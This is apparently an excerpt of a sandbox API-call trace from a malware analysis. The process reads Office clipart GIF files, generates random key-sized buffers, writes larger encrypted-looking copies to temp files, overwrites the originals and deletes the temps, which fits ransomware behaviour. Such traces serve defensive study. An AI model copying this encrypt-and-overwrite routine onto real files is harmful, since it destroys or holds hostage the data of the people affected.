	[0279.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.320] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.320] GetFileType (hFile=0x1b0) returned 0x1
	[0279.320] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x1b1c, lpOverlapped=0x0) returned 1
	[0279.320] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000f4000*, nNumberOfBytesToWrite=0x1b1c, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x1b1c, lpOverlapped=0x0) returned 1
	[0279.321] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.322] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147")) returned 0
	[0279.322] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147")) returned 0
	[0279.322] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147")) returned 0x20
	[0279.322] CloseHandle (hObject=0x1b0) returned 1
	[0279.322] CloseHandle (hObject=0x19c) returned 1
	[0279.322] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147")) returned 1
	[0279.325] SetEvent (hEvent=0x190) returned 1
	[0279.325] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.325] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.325] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0279.325] GetFileType (hFile=0x19c) returned 0x1
	[0279.325] GetFileType (hFile=0x19c) returned 0x1
	[0279.325] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0279.325] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0279.326] ReadFile (in: hFile=0x19c, lpBuffer=0xc000246000, nNumberOfBytesToRead=0x21a1, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000246000*, lpNumberOfBytesRead=0xc0001dbb04*=0x1fa1, lpOverlapped=0x0) returned 1
	[0279.363] ReadFile (in: hFile=0x19c, lpBuffer=0xc000247fa1, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000247fa1*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0279.363] CloseHandle (hObject=0x19c) returned 1
	[0279.363] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002022c0 | out: pbBuffer=0xc0002022c0) returned 1
	[0279.364] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021af50 | out: pbBuffer=0xc00021af50) returned 1
	[0279.364] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082401 | out: pbBuffer=0xc000082401) returned 1
	[0279.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.543] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0279.583] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0279.583] GetFileType (hFile=0x120) returned 0x1
	[0279.584] WriteFile (in: hFile=0x120, lpBuffer=0xc000108500*, nNumberOfBytesToWrite=0x20a1, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000108500*, lpNumberOfBytesWritten=0xc0001dbbec*=0x20a1, lpOverlapped=0x0) returned 1
	[0279.586] CloseHandle (hObject=0x120) returned 1
	[0279.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.590] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.590] GetFileType (hFile=0x120) returned 0x1
	[0279.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0279.590] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.590] GetFileType (hFile=0x1b4) returned 0x1
	[0279.590] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00025e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00025e000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x20a1, lpOverlapped=0x0) returned 1
	[0279.591] WriteFile (in: hFile=0x120, lpBuffer=0xc00025e000*, nNumberOfBytesToWrite=0x20a1, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00025e000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x20a1, lpOverlapped=0x0) returned 1
	[0279.593] ReadFile (in: hFile=0x1b4, lpBuffer=0xc00025e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00025e000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.593] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f")) returned 0
	[0279.593] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f")) returned 0
	[0279.593] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f")) returned 0x20
	[0279.593] CloseHandle (hObject=0x1b4) returned 1
	[0279.594] CloseHandle (hObject=0x120) returned 1
	[0279.594] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\52a307c53c0a04b6e4827244ffc76f2f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\52a307c53c0a04b6e4827244ffc76f2f")) returned 1
	[0279.596] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x319e)) returned 1
	[0279.596] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.597] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd9c)) returned 1
	[0279.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.597] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0279.598] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0279.598] GetFileType (hFile=0x120) returned 0x1
	[0279.598] GetFileType (hFile=0x120) returned 0x1
	[0279.598] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0279.598] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0279.598] ReadFile (in: hFile=0x120, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x339e, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc0001dbb04*=0x319e, lpOverlapped=0x0) returned 1
	[0279.644] ReadFile (in: hFile=0x120, lpBuffer=0xc00026919e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00026919e*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0279.644] CloseHandle (hObject=0x120) returned 1
	[0279.644] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202540 | out: pbBuffer=0xc000202540) returned 1
	[0279.644] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021b100 | out: pbBuffer=0xc00021b100) returned 1
	[0279.644] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082801 | out: pbBuffer=0xc000082801) returned 1
	[0279.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.645] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0279.645] GetFileType (hFile=0x120) returned 0x1
	[0279.645] WriteFile (in: hFile=0x120, lpBuffer=0xc000257500*, nNumberOfBytesToWrite=0x329e, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000257500*, lpNumberOfBytesWritten=0xc0001dbbec*=0x329e, lpOverlapped=0x0) returned 1
	[0279.647] CloseHandle (hObject=0x120) returned 1
	[0279.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0279.653] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.653] GetFileType (hFile=0x120) returned 0x1
	[0279.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.654] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.654] GetFileType (hFile=0x1b0) returned 0x1
	[0279.654] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x329e, lpOverlapped=0x0) returned 1
	[0279.654] WriteFile (in: hFile=0x120, lpBuffer=0xc00028e000*, nNumberOfBytesToWrite=0x329e, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x329e, lpOverlapped=0x0) returned 1
	[0279.657] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00028e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00028e000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.657] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b")) returned 0
	[0279.657] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b")) returned 0
	[0279.657] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b")) returned 0x20
	[0279.658] CloseHandle (hObject=0x1b0) returned 1
	[0279.658] CloseHandle (hObject=0x120) returned 1
	[0279.659] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\081613c64af038a7d5bfe30d08187e1b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\081613c64af038a7d5bfe30d08187e1b")) returned 1
	[0279.661] SetEvent (hEvent=0x190) returned 1
	[0279.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2)) returned 1
	[0279.860] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.860] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485)) returned 1
	[0280.329] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0280.533] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.533] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.533] SetEvent (hEvent=0x188) returned 1
	[0280.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24)) returned 1
	[0280.613] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.613] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f)) returned 1
	[0280.614] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.614] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc)) returned 1
	[0280.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0280.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0280.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0280.616] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0280.616] GetFileType (hFile=0x19c) returned 0x1
	[0280.616] GetFileType (hFile=0x19c) returned 0x1
	[0280.616] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0280.616] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0280.616] ReadFile (in: hFile=0x19c, lpBuffer=0xc00023e000, nNumberOfBytesToRead=0x2b6f, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00023e000*, lpNumberOfBytesRead=0xc0001dbb04*=0x296f, lpOverlapped=0x0) returned 1
	[0280.763] ReadFile (in: hFile=0x19c, lpBuffer=0xc00024096f, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00024096f*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0280.763] CloseHandle (hObject=0x19c) returned 1
	[0280.763] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000927a0 | out: pbBuffer=0xc0000927a0) returned 1
	[0280.763] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028d540 | out: pbBuffer=0xc00028d540) returned 1
	[0280.764] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8701 | out: pbBuffer=0xc0002a8701) returned 1
	[0280.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\7f5a8ab3a5e9a5713e6198c823dc5e11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\7f5a8ab3a5e9a5713e6198c823dc5e11"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0280.764] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0280.764] GetFileType (hFile=0x19c) returned 0x1
